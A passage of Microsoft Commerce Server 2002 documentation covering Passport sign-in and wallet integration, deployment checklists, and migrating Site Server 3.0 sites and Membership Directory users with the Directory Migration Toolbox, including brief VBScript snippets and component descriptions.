  • Integrating Passport Single Sign In. Describes the Passport authentication service and the ways in which it can be integrated into a Commerce Server Web site.
  • Using Secure Sockets Layer with Microsoft Passport. Explains that you must use SSL because Passport requires SSL to transfer Wallet information to the site during checkout. Provides links to more information on www.microsoft.com.
  • Integrating Passport Express Purchase. Describes the Passport wallet service and the ways in which it can be integrated into a Commerce Server Web site.
  • Next Steps in Integrating with Passport. Provides information about where to continue the process of learning more about Passport and how to integrate it into a Commerce Server Web site.


Integrating Passport Single Sign In

Microsoft Commerce Server 2002 provides for the separation of authentication and profiles. Commerce Server profiles can be used subsequent to the authentication process, even if Commerce Server is not used for authentication. This separation allows you to integrate the Microsoft Passport Single Sign In authentication service, replacing the built-in authentication modes supplied with Commerce Server, while still preserving the integrated capabilities of the Commerce Server Profile service.

Passport Authentication Processing Steps

Passport authentication involves the following steps:

  1. An unauthenticated user attempts to access a protected page on a merchant Web site.
  2. Code on the page calls the Passport Manager object, which re-directs the user's browser to the logon page on the Passport Web site. The re-direction URL includes a query string that contains, among other items, a return URL.
  3. The user supplies their standard Passport credentials on the logon page on the Passport Web site.
  4. Assuming that the credentials of the user are accepted, the Passport Web site re-directs the user's browser back to the merchant Web site, including encrypted Passport profile data in the query string.
  5. The Passport Manager object parses and cleans the query string data, and sends a session cookie to the user's browser.
  6. Session or persistent cookies are set depending on the login preferences of the user.
  7. Subsequent authentication to the protected merchant pages is based on the Passport cookies.

Recommended Integration Strategy

The recommended approach for Passport authentication integration involves integrated use of the Commerce Server Profile service with the Passport Single Sign In authentication service. This approach preserves the benefits of the built-in integration between the Commerce Server Profile service and the other features of Commerce Server.

Once a user is successfully authenticated through Passport, their corresponding user profile is retrieved from the Commerce Server Profile service and is used for the remainder of their session. In order to accomplish this type of integration, the following methodology is recommended:

  • The user profile will need to be modified to include a new property called PassportID. This property will be set to the 64-bit unique user ID employed by the Passport service, known as the Passport Unique ID (PUID). For more information about PUIDs, see the Passport SDK documentation.
  • After Passport has successfully authenticated a user, retrieve the MemberIDHigh and MemberIDLow properties from the Passport core profile and calculate the corresponding PUID using the following formula:
    dim sPassportKey, sHex
sHex = Hex(nMemberIDHigh)
sPassportKey = String(8 - len(sHex), "0") & sHex
sHex = Hex(nMemberIDLow)
sPassportKey = sPassportKey & String(8 - len(sHex), "0") & sHex

    For more thorough examples of calculating the PUID, see the Passport Web site at http://go.microsoft.com/fwlink/?LinkId=6740.

  • Use the calculated PUID to retrieve the corresponding Commerce Server user profile, using code that looks something like this:
    Dim csUserProfile
Set csUserProfile = ProfileService.GetProfileByKey( _
                                      "PassportID", _
                                      sPassportKey, _
                                        "UserObject")
  • Set the ticket type and user ID for this user using the AuthManager object. The following two lines of code, from the function LogOnUser in the file Include\Profilelib.asp of the Passport Sitelet in the Commerce Server SDK, demonstrate how these values can be set:
    objAuthMgr.SetAuthTicket strUserName, fCookieSupport, strTimeout
objAuthMgr.SetUserID enumMSCS_ProfileTicketType, _
                     objProfile.Fields(USER_ID).Value

    For more information, see AuthManager.SetAuthTicket and AuthManager.SetUserID, respectively.

  • If the corresponding Commerce Server user profile is not found, one should be created for the new user, storing their PUID in the PassportID property, using a test that looks something like this:
    If ( csUserProfile Is Nothing ) Then
    ' Use your standard method for creating new
    ' user profiles here, probably involving calls
    ' to GenID.GenGUIDString and ProfileService.CreateProfile.
    ' Don't forget to store the PUID so that the proper
    ' profile can be stored next time. For example:
    CreateNewUserProfile(sPassportKey)
End If
  • If the corresponding Commerce Server user profile is found, you may want to consider synchronizing the latest Passport profile data with the corresponding data in the Commerce Server profile. In this way, the user will get the expected results — that changes to their personal data on the Passport Web site is used by participating Passport merchant Web sites.

    The Passport profile contains a ProfileVersion property that allows you to determine if the user's profile data has changed since their last visit.

You could also develop an authentication solution that offers Passport Single Sign In for Passport users, and uses the Commerce Server authentication mechanisms for non-Passport users.


Using Secure Sockets Layer with Microsoft Passport

Microsoft Passport offers the Passport Express Purchase feature, which enables Passport users to store their credit card and address information with Passport, and then have that information made available to any Web site that employs the Passport Express Purchase.

If you are using Microsoft Passport, then you must also use Secure Sockets Layer (SSL). Passport requires SSL to transfer Wallet information to the site during checkout.

If you are setting up a development computer with the site, and you want to use the express checkout, you will need an SSL certificate. For information about setting up SSL, see the following two Web sites:

  • Step-by-Step Guide to Setting up a Certification Authority http://go.microsoft.com/fwlink/?LinkId=6741
  • Step-by-Step Guide to Automatic Certificate Request for Computers http://go.microsoft.com/fwlink/?LinkId=6742


Integrating Passport Express Purchase

Microsoft Passport includes a wallet feature that allows a user to provide the data required to make electronic purchases, such as credit card numbers and shipping addresses, to a single, central location: the Passport Web site. Merchants who participate in the Passport program can retrieve this information from the Passport wallet Web site, saving the user from entering the same data every time they make a purchase. Unlike the Passport Single Sign In authentication service, the Passport Express Purchase service does not require any Passport-specific Component Object Model (COM) objects to be installed on the merchant Web server. Merchants can use the Passport Express Purchase service either with or without using Passport Single Sign In for authentication.

Passport Express Purchase Processing Steps

Passport Express Purchase use involves the following steps:

  1. A user chooses Passport Express Purchase checkout on a merchant Web site page.
  2. The user's browser is re-directed to the Wallet page on the Passport Web site. The re-direction URL includes a query string that contains a return URL, credit card preference, and co-branding data.
  3. If not already signed into Passport, the user is asked to supply their standard Passport credentials.
  4. On the Wallet page, the user makes choices regarding the credit card to use, the billing and shipping addresses, and so on. The user can enter new credit card information or a different shipping address, or edit entries already in their wallet.
  5. The Passport Web site re-directs the user's browser back to the merchant Web site, posting a form that includes the chosen Wallet information, formatted using Electronic Commerce Markup Language (ECML).
  6. The merchant Web site makes use of the returned Wallet data to complete the purchase.

Recommended Integration Strategy

The recommended approach for Passport Express Purchase integration involves streamlining the purchase process as much as possible. Since the user has already reviewed their credit card and address data on the wallet page, you should avoid asking the user to explicitly review their personal data again on your Web site. Validate the data returned to you by the Passport wallet site in whatever manner you have chosen, collect any additional information you require, and then display an order summary page on which the user can provide final approval of their order. Information supplied by the Passport wallet site can be displayed again on the summary page (the complete credit card number is a possible exception) for implicit review.

Important

  • Avoid using the data returned by the Passport wallet site to do nothing more than provide default information on a form page that the user cannot avoid. This defeats much of the "express purchase" purpose of using Passport in the first place.

You should seriously consider co-branding the Passport pages so that they blend seamlessly into your Web site. When you register with Passport, you can supply the URL of a cascading style sheet (.CSS) file in which you can define the colors and properties of almost all elements on the Passport login, registration, and wallet pages. You can also inject your own content onto most wallet pages, including your own site-specific questions. Using this mechanism, you can collect whatever additional information you require to complete the purchase on the Passport wallet page, which allows your users to go directly to an order summary page when they return to your Web site.


Next Steps in Integrating with Passport

In order to successfully integrate Passport Single Sign In authentication service or the Passport Express Purchase service into a Commerce Server Web site, you will need to do the following:

  • Use the Passport Web site to learn more about Passport and the services it provides. The site has white papers, demonstrations, implementation guides, sample code, as well as information about the Passport discussion group and how to direct questions to the Passport team.
  • Sign up as a Passport site at http://go.microsoft.com/fwlink/?LinkId=6740. After you have done this, you can download the Passport Software Development Kit (SDK) and study its capabilities in more detail.
  • Make sure your Web site conforms to the standards required for participation in Passport Web sites. These standards concern privacy, security, and so on.
  • If you intend to use the Passport Express Purchase service, obtain a certificate from an authorized Certification Authority. Since the Passport Express Purchase service uses Secure Socket Layer (SSL) technology for security, a certificate is required.
  • Study the Passport Sitelet source code supplied in the Commerce Server SDK. For more information, see the Software Development Kit.


Deploying Your Site

You deploy a Microsoft Commerce Server 2002 Web site by obtaining and configuring the required hardware and software, installing Commerce Server 2002, unpacking your Web site, and putting in place the procedures for monitoring and managing your site. This section provides sample deployment configurations, deployment instructions, and issues that you should consider before deploying Commerce Server 2002.

For instructions about configuring your site to use Windows Authentication for database security, see Deploying Commerce Server Using Windows Authentication.

This section contains:

  • Deployment Checklists. Describes the items that should be completed before you begin the deployment process.
  • Upgrading from Previous Versions. Describes how to upgrade existing installations of Commerce Server.
  • Planning for Deployment. Provides guidance about deploying in three primary environments, concepts for clustering, and considerations for using firewalls.
  • Configuring a Typical Deployment. Explains the different phases involved in configuring a typical deployment, from hardware and network configuration to software installation.
  • Installing the Business Analytics Stand-alone Feature. Describes how to install Commerce Server on one computer using the Business Analytics installation option.
  • Installing Sample Configurations. Provides instructions about setting up Commerce Server 2002 in sample configurations.
  • Deploying in Distributed Environments. Lists the dependencies of deploying each Commerce Server 2002 component onto its own separate database cluster.
  • Deploying Predictor. Explains how to configure and deploy the Predictor so it is secure and performance is optimized.
  • Backing Up Your Site. Explains how to back up and restore your site.
  • Replicating Catalog Content. Explains how to replicate catalog content from a staging environment to a production environment.
  • Updating Your Site. Explains how to update your site content and databases after the initial deployment.
  • Using Site Packager. Describes what you can do with Commerce Server Site Packager, and explains in general terms how to package and unpack a site. Also lists reference information for Site Packager.
  • Maintaining High Availability. Provides guidance about making your deployment highly available.


Deployment Checklists

Before you deploy your site, review the following checklists to ensure that your planning is complete.

For a checklist of steps you must perform to secure your site, see Security Checklist.

This section contains:

  • Site Development and Testing Checklist. Provides a checklist for completing your site development and testing.
  • Business Processes Checklist. Provides a checklist for planning and implementing your business processes.

See Also

Planning for Deployment

Planning Your Commerce Server Installation


Site Development and Testing Checklist

Before you deploy your site, make sure you have completed your site development and testing. Check for the following:

  • Site development is complete.
  • Site is packaged.
  • A list of site resources has been documented.
  • Names have been determined for site servers.
  • Database names, user names, and passwords have been determined.
  • Testing is complete. You have tested for the following items: content, browser compatibility, performance, server load, databases, search options, query response time, data validity and integrity, system recovery, visual consistency, links, and routers. You have tested the performance of your site by using the Web Application Stress tool.
  • An independent, outside company has completed a security audit of your site. Such a review is an effective means for discovering security risks.

For more information about testing your site, see the Commerce Server 2000 Resource Kit.


Business Processes Checklist

Before you deploy your site, make sure you have planned and implemented your business processes. Check for the following:

  • Workflows have been determined and tested.
  • System administrators have received initial training and business managers, the primary users of Commerce Server Business Desk, have completed the Business Desk tutorial.
  • The server environment team has been identified and operational procedures have been determined (for example, change request, change control log, server update, maintenance schedules, and problem escalation procedures).

See Also

Planning for Business Process Pipelines


Upgrading from Previous Versions

Commerce Server 2002 provides tools that you use to migrate your Site Server 3.0, Site Server 3.0 Commerce Edition, and Commerce Server 2000 sites. These tools are designed for use by site developers, who can customize them to meet the migration needs of your site.

This section contains:

  • Upgrading from Commerce Server 2000
  • Upgrading from Site Server 3.0
  • Migrating the Membership Directory


Upgrading from Commerce Server 2000

For information about upgrading from Commerce Server 2000 to Commerce Server 2002, see Upgrading from Commerce Server 2000.


Upgrading from Site Server 3.0

Commerce Server 2002 provides tools that you use to migrate your Microsoft Site Server 3.0 site or your Microsoft Site Server 3.0 Commerce Edition (SSCE) site to Commerce Server 2002. These tools are designed for use by site developers, who can customize them to meet the migration needs of your site.

This section contains:

  • Site Server 3.0 Features That Migrate. Describes the features that are incorporated into Commerce Server 2002, and those features that are incorporated into other Microsoft products.
  • Planning a Migration from Site Server to Commerce Server 2002. Explains the strategies for planning your migration to Commerce Server 2002.
  • Overview of Migration Tools. Describes the Site Server 3.0 migration tools and how to use them.
  • Overview of Migration Documentation. Provides the location of the migration documentation and explains the differences between Site Server pipelines and catalogs and Commerce Server 2002 pipelines and catalogs.


Site Server 3.0 Features That Migrate

Commerce Server 2002 provides a migration path for Microsoft Site Server 3.0 and Microsoft Site Server 3.0 Commerce Edition (SSCE) features that were incorporated into Commerce Server 2002.

The majority of the Site Server 3.0 features have been incorporated into Commerce Server 2002. Some of the features, however, have been incorporated into other Microsoft products. The following tables list the Site Server 3.0 and SSCE features that migrate, and identify the products and features to which they have migrated.

Site Server 3.0 and Site Server 3.0 Commerce Edition (SSCE) features incorporated into Commerce Server 2002

Site Server 3.0 Features | Commerce Server 2002 Features
Ad Server / Ad Manager | Content Selection Framework / Campaign Manager
Analysis: Report Writer, Custom Import, Usage Import | Analysis: Reports, Custom Import, Data Warehouse, Business Analysis
Direct Mail | Direct Mail
Pipelines | Pipelines
Online Store | Product Catalog System
Personalization & Membership | User Profiles
Site Vocabulary | Site Terms
Rule Builder | Expression Builder
Predictor | Predictor resource
Starter Sites | Solution Sites
Transactions | Transactions
Content Deployment and Content Replication System | Commerce Server 2002 Site Packager (handles some aspects of content deployment and replication)

Site Server 3.0 and Site Server 3.0 Commerce Edition (SSCE) features incorporated into other Microsoft products

Site Server 3.0 Features | Microsoft Products
Content Deployment and Content Replication System | Microsoft Application Center 2000 (handles some aspects of content deployment and replication)
Commerce Interchange Pipeline | Microsoft BizTalk Server 2000
Internet Locator Service (ILS) / Dynamic Directory | Microsoft Windows 2000 – Site Server ILS Services
Search: Index, Crawl, Scripts | Incorporated into Microsoft SharePoint Portal Server
Knowledge Manager | Incorporated into SharePoint Portal Server
Posting Acceptor | Microsoft WebDAV

The following Site Server 3.0 features were not incorporated into Commerce Server 2002 or other Microsoft products and are no longer supported: Publishing Wizard, Push (Active Channel Multicaster, Active Channel Server), Content Analyzer, and Tag Tool.

Note

  • Internet Information Services (IIS) has changed the default setting for response buffering in version 5.0. In version 4.0, response buffering was off by default; in 5.0, it is on by default. ASP pages that are migrated from a Site Server 3.0 Commerce Edition site to a Commerce Server 2002 site should take this into account.


Planning a Migration from Site Server to Commerce Server 2002

There are several considerations to keep in mind when you plan the migration of your site from Site Server 3.0 Commerce Edition to Commerce Server 2002. These considerations are:

  • It is not possible to migrate to individual components of Commerce Server 2002 one at a time.
  • You must create a new site, which will be moved into production after the new site behavior, content, and data are migrated successfully.
  • Migration of site code is necessary to successfully move your SSCE site to Commerce Server 2002.

While there are several strategies available for planning a successful migration, there are two primary strategies that you may want to consider: parallel Web farm and dual boot.

Parallel Web Farm

The parallel Web farm strategy involves running Commerce Server 2002 and Site Server side-by-side simultaneously from two different locations during the entire migration process. Building a parallel Web farm will replicate the functionality of the existing SSCE site using Commerce Server 2002 technologies. Even though migration using a parallel Web farm is resource intensive, it is the migration method that provides the best risk management for sites that are actively managing site stability risks.

Advantages of using a parallel Web farm:

  • The SSCE site in production is not disturbed until the Commerce Server 2002 site is fully operational and supporting customers.
  • The new Commerce Server 2002 site can be fully tested for functionality and performance under stress of simulated user load generated by tools such as the Microsoft Web Application Stress tool.
  • Migration of site code and data can be fully tested prior to opening the site to users.
  • All operational procedures can be established and documented prior to going live on the new Commerce Server 2002 site.

Disadvantages of using a parallel Web farm:

  • Resource intensive in terms of hardware, space, and network infrastructure.

Dual Boot

Using the dual boot strategy means that you will install a new instance of Microsoft Windows 2000 on your SSCE server, in a separate disk system. Once the new operating system in installed, you can install Commerce Server 2002 on the new partition. You must install Commerce Server 2002 databases on a separate server because SQL configuration for Commerce Server 2002 is different than for SSCE.

An example of a dual boot strategy

A server running SSCE might have a disk configuration as follows:

  • Drive C: Operating system drive
  • Drive D: IIS, SSCE, and site code drive
  • Drive E: IIS and system logging drive

After implementing the dual boot strategy by adding additional disk drive(s), the disk configuration of your server may look like the following:

  • Drive C: Operating system drive
  • Drive D: IIS, SSCE, and site code drive
  • Drive E: IIS and system logging drive
  • Drive F: Operating system drive (Windows 2000 installed for Commerce Server 2002)
  • Drive G: IIS, Commerce Server 2002, and site code drive (Windows 2000 installed for Commerce Server 2002)
  • Drive H: IIS and system logging drive (Windows 2000 installed for Commerce Server 2002)

In this example, when your server starts, it is configured to boot on either drive C or drive F, based on which site is to be operational.

Advantages of a dual boot strategy:

  • Reduced hardware requirements.
  • Use of existing network infrastructure.
  • Use of proven hardware that meets business needs.

Disadvantages of a dual boot strategy:

  • Only one site can be operational at a time. It can be either a SSCE site or a Commerce Server 2002 site, but not both.
  • The new Commerce Server 2002 site cannot be fully tested for functionality and performance as a whole platform unless the entire SSCE site is taken offline, and the server is booted up to the Commerce Server 2002 instance.
  • Databases will need to be migrated to a separate server prior to migration.


Overview of Migration Tools

You can customize Commerce Server 2002 migration tools to meet your needs. Source code, as well as a Software Development Kit (SDK) explaining how to customize and extend the tools are provided with Commerce Server 2002. This section provides an overview of the migration tools and how you use them.

Directory Migration Toolbox

Ad Server Migration Tool

Directory Migration Toolbox

The Directory Migration Toolbox is a set of tools and Component Object Model (COM) objects written in C++. It includes the following objects: MigrationMainObj, MigrationReadObj, MigrationWriteObj, MigrationModifyObj, and MigrationLogObj. Use these objects to migrate user data from your Membership Directory in Site Server to your Commerce Server 2002 Profiles database. The Directory Migration Toolbox includes source code so that it can be modified to suit the requirements of a given Membership Directory implementation.

The following figure provides an overview of how the migration objects work.

A figure showing an overview of how the Directory Migration tool works.

A key component of the Directory Migration Toolbox is the Directory Migration tool, which performs the actual migration. The Directory Migration tool is designed to maintain a state between multiple instances of real-time mode and a single instance of batch mode implementations. This balance is to prevent race conditions between instances of the Directory Migration tool attempting to migrate the same account. You can use the Directory Migration tool in two modes:

  • Real-time mode. Designed to migrate users as they attempt to authenticate through the Login.asp file. The normal Login.asp code is extended so that if an authentication fails due to the user profile not being in the database, the migration tool can be called to perform a "real-time" migration of the user profile to the new Profiling System in Commerce Server 2002. Once the migration is completed successfully, the Login.asp file completes the authentication of the user and normal processing resumes.
  • Batch mode. Designed to migrate users in the Membership Directory to the Profile store used by the Commerce Server 2002 Profiles service. It processes the entire list of users on a stand-alone server. Once the list is processed, the entire migration process is complete except for addressing migration failures that are logged for resolution. After you resolve the problem causing the failure, you resubmit the migration processes against the failed accounts to migrate them successfully.

Securing your migration is an important step in migrating user data from Site Server to Commerce Server 2002. You should plan security measures when planning your migration. For detailed information about securing Commerce Server 2002, see Securing Your Site.

Ad Server Migration Tool

The Ad Server Migration tool is used for migration of ad data from SSCE to Commerce Server 2002. This file name of this tool is Adservermigration.exe and it is located in the following folder: Microsoft Commerce Server 2002\SDK\Tools\SSCE Migration\Ad Server.

The Ad Server Migration tool creates expressions for target evaluation and moves the ads between Web sites. This tool also uses current expressions to drive the process of ad selection.

See Also

Migrating the Membership Directory


Overview of Migration Documentation

This section provides the location of the migration documentation and explains the differences between Site Server pipelines and catalogs and Commerce Server 2002 pipelines and catalogs. For information about migrating the Membership Directory, see Migrating the Membership Directory.

Pipelines

Commerce Server 2002 pipelines are compatible with Site Server 3.0 Commerce Edition (SSCE) pipelines with respect to their application programming interface (API). Third-party pipeline components used with SSCE will work with Commerce Server 2002, with the following exceptions:

  • Currency has changed to a 64-bit value (in SSCE, currency was an 32-bit integer).
  • Address/shipping information has been changed to handle multiple "Ship-To" addresses.

If your third-party components interact with pipeline data at the Dictionary object level, these changes may not affect your site. However, if your third-party components interact with any pipeline data at the database level, where the data is actually stored, your components will be affected because the database layer has changed in Commerce Server 2002.

Catalogs

There is a significant difference between Commerce Server 2002 and SSCE catalogs. The SSCE wizard generated only a basic catalog called an online store. In contrast, catalogs created in Commerce Server 2002 are more complex and offer greater flexibility. Most customer deployments of SSCE use custom catalog solutions, which preclude development of a generic tool for migration to the Commerce Server 2002 Product Catalog System.

Before you migrate your online store or a custom catalog solution to a Commerce Server 2002 catalog, you must create a catalog for Commerce Server 2002. In order to create a catalog for Commerce Server 2002, you must create a catalog schema. After you create a catalog schema you create a catalog and populate it with products.

You can use the following strategies to migrate your online store or custom catalog to a Commerce Server 2002 catalog:

  • Create an XML file containing your catalog data and import it into the Commerce Server 2002 Product Catalog System. The XML file must be in a format that the Product Catalog System is capable of importing. An XML catalog file must contain the schema definition as well as the catalog data.

    Another technique for determining the precise XML format for the catalog data to be imported is to construct the desired catalog schema and populate it with several sample products. Then export this catalog as XML and study the resulting XML file. The data from your online store or custom catalog solution must conform to this format.

    For more information about the XML format expected by the Product Catalog System, see Catalog XML Structures.

    For more information about importing the XML file once you have constructed it, see Importing an XML Catalog File.

  • Create a comma-separated values (CSV) file containing your catalog data and import it into the Commerce Server 2002 Product Catalog System. The CSV file must be in a format that the Product Catalog System is capable of importing, and that is compatible with the schema you have defined for your Commerce Server 2002 catalog.

    For more information about the CSV format expected by the Product Catalog System, see Catalog XML Structures.

    For more information about the CSV format expected by the Product Catalog System, and about importing the CSV file once you have constructed it, see Importing a CSV Catalog File.

  • Create a utility script that reads the catalog structure and data from your online store or your custom catalog solution, and then use the Commerce Server 2002 catalog objects to create a Commerce Server 2002 catalog with the schema you want and to populate the catalog with product data.

    For more information about the Commerce Server 2002 catalog objects, see Product Catalog Objects.

See Also

Creating a Catalog Definition

Creating a Base Catalog

Adding a Product to a Catalog


Migrating the Membership Directory

The Directory Migration Toolbox is a collection of components that you use to migrate a Microsoft Site Server 3.0 Membership Directory to a Commerce Server 2002 user profile store.

This section describes the architecture of the components and how to migrate the Membership Directory, and is intended for use by the system administrators and site developers responsible for migrating a site based on Site Server 3.0 to Commerce Server 2002. Before you use the Directory Migration Toolbox, you should be familiar with the documentation for both products.

This section contains:

  • About the Directory Migration Toolbox. Describes the components in the Directory Migration Toolbox.
  • Planning for Migration. Describes issues you must consider before beginning your migration.
  • Preparing for Migration. Explains how to pre-populate Active Directory groups in the Profiles data store, and how to map attributes in the Membership Directory to attributes in the Profiles data store.
  • Starting the Migration Process. Explains how to start the migration process.
  • Troubleshooting with the Migration Log File. Explains how to investigate problems using the migration log file.
  • Verifying Successful Migration. Explains how to verify that the migration process is working correctly.
  • Migration Utility Library. Describes contents of the MigUtil library file.
  • Sample XML File. Provides a sample migration profile XML file.


About the Directory Migration Toolbox

The Directory Migration Toolbox contains the components that you use to migrate users from the Site Server 3.0 Membership Directory to the Commerce Server Profiles data store. You can use the Directory Migration Toolbox components to modify source code for migration components and to pre-populate Active Directory directory service groups in the Profiles data store. You can also map attributes in the Membership Directory to attributes in the Profiles data store, migrate profiles from the Membership Directory in batch mode or on-demand mode, and modify code that determines where a user is stored in Active Directory. The Subgroup Manager helps you determine group membership.

This section contains:

  • Source Code for Migration Components
  • Groups Pre-Population Tool
  • Migration ProfileBuilder Tool
  • Directory Migration Tool
  • Subgroup Manager


Source Code for Migration Components

The Directory Migration Toolbox includes compiled versions of the components you can use to immediately migrate your Microsoft Site Server 3.0 Membership Directory to the Commerce Server Profiles data store. In addition, the toolbox includes the source code for all of the components so you can modify them to meet your needs.

The source code for these components is located in the folder <drive>:\Program Files\Microsoft Commerce Server\SDK\Tools\SSCE Migration\Membership.

The following table lists the subfolders in the Membership folder, and describes the components in each subfolder.

Subfolder | Description
\bin\release | Precompiled binaries of the Directory Migration objects and the migration test client.
\Client | C++ source code for a simple client to migrate a single user profile.
\GroupMigration | Microsoft Visual Basic source code for the tool used to pre-populate Active Directory groups before migrating user profiles.
\include | Header files used for building the objects.
\MigrationLogObj | C++ source code for the MigrationLogObj object of the Directory Migration Tool.
\MigrationMainObj | C++ source code for the MigrationMainObj object.
\MigrationModifyObj | C++ source code for the MigrationModifyObj object.
\MigrationReadObj | C++ source code for the MigrationReadObj object.
\MigrationUtil | C++ source code for the Migration Utility Library of the Directory Migration Tool.
\MigrationWriteObj | C++ source code for the MigrationWriteObj object.
\ProfileBuilder | Visual Basic source code for the Migration ProfileBuilder tool, used for building the Extensible Markup Language (XML) configuration file used by the Directory Migration tool objects.
\SubGroupManager | Visual Basic source code for a helper object, used for determining the group in which a user belongs.

Caution

  • These components can only be used with Visual Studio 6.0. These components are not supported in Visual Studio .NET.

The Readme.htm file in the Membership folder contains important information about the Directory Migration Toolbox for this release of Commerce Server.

See Also

Migration Objects


Groups Pre-Population Tool

Use the Groups Pre-Population tool to pre-populate Active Directory directory service groups, if you use groups in your installation. You can create groups in the Active Directory domain or forest as needed. Because you must create groups before you add users to them, run the Groups Pre-Population Tool before migrating users.

By pre-populating Active Directory groups, you can set access control lists (ACLs) on the file system before enabling your Commerce Server site.

See Also

Run the Groups Pre-Population Tool


Migration ProfileBuilder Tool

Use the Migration ProfileBuilder tool to map attributes from the Microsoft Site Server 3.0 Membership Directory to the Commerce Server Profile data store.

When you run the Directory Migration tool, it reads an Extensible Markup Language (XML) file that maps the user attributes from the Membership Directory to the Profiles data store(s).

The Migration ProfileBuilder tool performs the following tasks:

  • Reads user attributes from the Membership Directory schema
  • Reads user attributes from the User Profile Object schema
  • Creates the XML configuration file read by the Directory Migration Tool

Note

  • To use this tool, you must have administrative privileges to view all domains in the Active Directory forest.

See Also

Run the Migration ProfileBuilder Tool


Directory Migration Tool

You can run the Directory Migration tool in either of the following modes:

  • Batch Mode. Migrates a range of sequential users.
  • On-Demand Mode. Migrates one user at a time, on an as-needed basis.

You can run multiple instances of the Directory Migration tool simultaneously. When both modes are used to migrate a directory, the batch mode migrates all users together. For users who access the site before their accounts are migrated, on-demand migration can be triggered so the user can proceed on the new site with minimal interruption. The migration objects are installed on one or more servers and will migrate a user upon request. In batch mode, a sequential range of users is migrated. In on-demand mode, one user at a time is migrated as they log in to the Commerce Server 2002 site. The file Login.asp in the <drive>:\Program Files\Microsoft Commerce Server\SDK\Tools\SSCE Migration\Membership\Client directory can be used to migrate users on demand.

To track the status of each user migration, the Migration attribute is added to the Membership Directory user schema. The Migration attribute type is binary.

For each attribute that is migrated, the Directory Migration tool assigns a value of True to the Migration attribute if the migration was successful, and False if the migration was not successful. If the migration was unsuccessful, check the log for the reason.

Note

  • The Directory Migration tool interprets the lack of a migrated attribute as "no migration attempted."

MigrationMainObj Object

The MigrationMainObj object is the primary object that manages the migration of individual users or ranges of users upon demand. It calls the objects in the following order for each user to be migrated:

  1. MigrationReadObj object
  2. MigrationModifyObj object
  3. MigrationWriteObj object
  4. MigrationLogObj object

If the MigrationMainObj object is configured to run in batch mode, it uses a filter to generate Lightweight Directory Access Protocol (LDAP) queries for user profiles matching the filter criteria (for example, user names starting with "Aaa" through "Adz"). This filter is used to help prevent LDAP timeouts. For more information about this filter, see Migration ProfileBuilder Tool.

The following figure shows how the Directory Migration tool processes a user profile.

Figure showing how the Directory Migration tool processes a user profile.

The Directory Migration tool performs the following steps to process a user profile:

  1. It retrieves information from an Extensible Markup Language (XML) configuration file that contains details on the objects to be used, and instructions for mapping the data to be read to the data to be written.
  2. The MigrationMainObj object receives a request to migrate a user profile.
  3. The MigrationMainObj object sends the request to the MigrationReadObj object.
  4. If the Migration attribute is not set to True or False, the MigrationReadObj object sets the Migration attribute to True, which prevents other instances of the Directory Migration tool from migrating the same user profile again. If the update succeeds, the migration process continues to the next step; otherwise it fails.
  5. The MigrationReadObj object retrieves the user profile from the Membership Directory.
  6. If indicated in the XML configuration file, the MigrationReadObj object calls the MigrationModifyObj object.
  7. The MigrationModifyObj object changes the user profile as specified, and then returns a modified buffer to the MigrationReadObj object.
  8. The MigrationReadObj object sends a pointer to the modified buffer to the MigrationMainObj object. If the MigrationReadObj object returns a failure, the MigrationMainObj object logs the failure, calls the MigrationReadObj object to set the Migration attribute to "Failed," and then prepares to process the next migration request.
  9. The MigrationMainObj object sends the buffer to the MigrationWriteObj object, which writes the user profile to the Profiles data store.
  10. The MigrationWriteObj object sends the write request to the ProfileService object. If it succeeds, the MigrationWriteObj object then adds the user profile to the appropriate groups, and updates the MemberOf attribute accordingly. If the write fails, the write is rolled back. If the rollback fails, the MigrationWriteObj object logs the rollback failure.
  11. The ProfileService object returns a success/fail return code on the write attempt.
  12. If the migration is an Active Directory migration, the MigrationWriteObj object adds the user to the proper groups through direct Active Directory Service Interfaces (ADSI) calls.
  13. The MigrationWriteObj object logs the success (or failure) of the write attempt and adds users to the appropriate groups when completed. The MigrationWriteObj object returns the success/fail code as appropriate.
  14. The MigrationMainObj object logs a successful or failed migration attempt and returns the success/fail return code to the calling component.

MigrationReadObj Object

The MigrationReadObj object reads the user profile attributes from the Site Server 3.0 Membership Directory. The MigrationMainObj object calls the MigrationReadObj object when each user profile is to be migrated.

The source code for the MigrationReadObj object is provided in the SDK\Tools\SSCE Migration\Membership folder.

MigrationModifyObj Object

You use the MigrationModifyObj object to modify user profile data as it is migrated. The MigrationModifyObj object is responsible for buffer management. Refer to the source code for examples of buffer management.

The source code for a MigrationModifyObj object is provided in the SDK\Tools\SSCE Migration\Membership folder.

MigrationWriteObj Object

The MigrationWriteObj object writes the migrated user profile data to the ProfileService object. In addition, if the user is a member of a group, the MigrationWriteObj object adds it to the equivalent group in Active Directory.

MigrationLogObj Object

The MigrationLogObj object is used to create a transaction log, which you use to diagnose problems encountered during the migration process.


Subgroup Manager

The SubGroupManager object is a helper object that is used in code that determines where a user in Active Directory directory service is stored, as an aid to determining group membership.

The SubGroupManager object is a Microsoft Visual Basic ActiveX dynamic-link library (DLL) file and an associated test .exe file that takes as input the distinguished names of a user and the parent group.

Because of the effective limit of 5,000 objects per group, most groups will require a series of subgroups to fully contain the users of a large group. For example; in Membership Directory, a group named "friends" might exist with 10,000 users in the group. In Active Directory, you would create the master group "friends" and then create subgroups under this master group, which actually holds all of the users. You can identify one of these subgroups by the fact that it contains the name of the master group with a numeric suffix. For example, "friends_0001".

The following table shows the methods supported by the SubGroupManager object, and provides a description of each.

Method Description
SubGroupMembership
  • Returns as a string the Distinguished Name (DN) of the subgroup in which the user profile will be placed.
  • No operations are performed against Active Directory.
AddUserToMasterGroup
  • Determines which subgroup of the master group this user profile should be in.
  • Verifies whether the subgroup exists. If it does not exist, it creates the subgroup automatically.
  • Writes the user profile to the subgroup.
RemoveUserFromMasterGroup
  • Determines which subgroup of the master group this user profile should be in.
  • Removes the user profile from the subgroup.
IsUserOfMasterGroup
  • Determines which subgroup of the master group this user profile should be in.
  • Tests the subgroup for whether the user profile is a member; returns True if it is, False if it is not.

The SubGroupManager object is functionally complete, but it contains a hard-coded user name and password for connecting to the directory service. You will need to alter these constants, recompile, and then register the resulting DLL by using the following command:

regsvr32 subgroupmanager.dll

The ProgID for creating the SubGroupManager object is: SubgroupManagerProject.SubGroupManager.

Note

  • If you change the hashing algorithm, you must make the same changes to the source code corresponding to the Migrationutil.dll file.


Planning for Migration

Before you begin the migration process, it is important that you plan for and understand the steps involved with this process.

This section contains:

  • Migrating Authentication Types
  • Migrating Groups
  • Migrating to Active Directory or SQL Server


Migrating Authentication Types

The tools in the Directory Migration Toolbox migrate data so that all authentication types in the Membership Directory are supported.


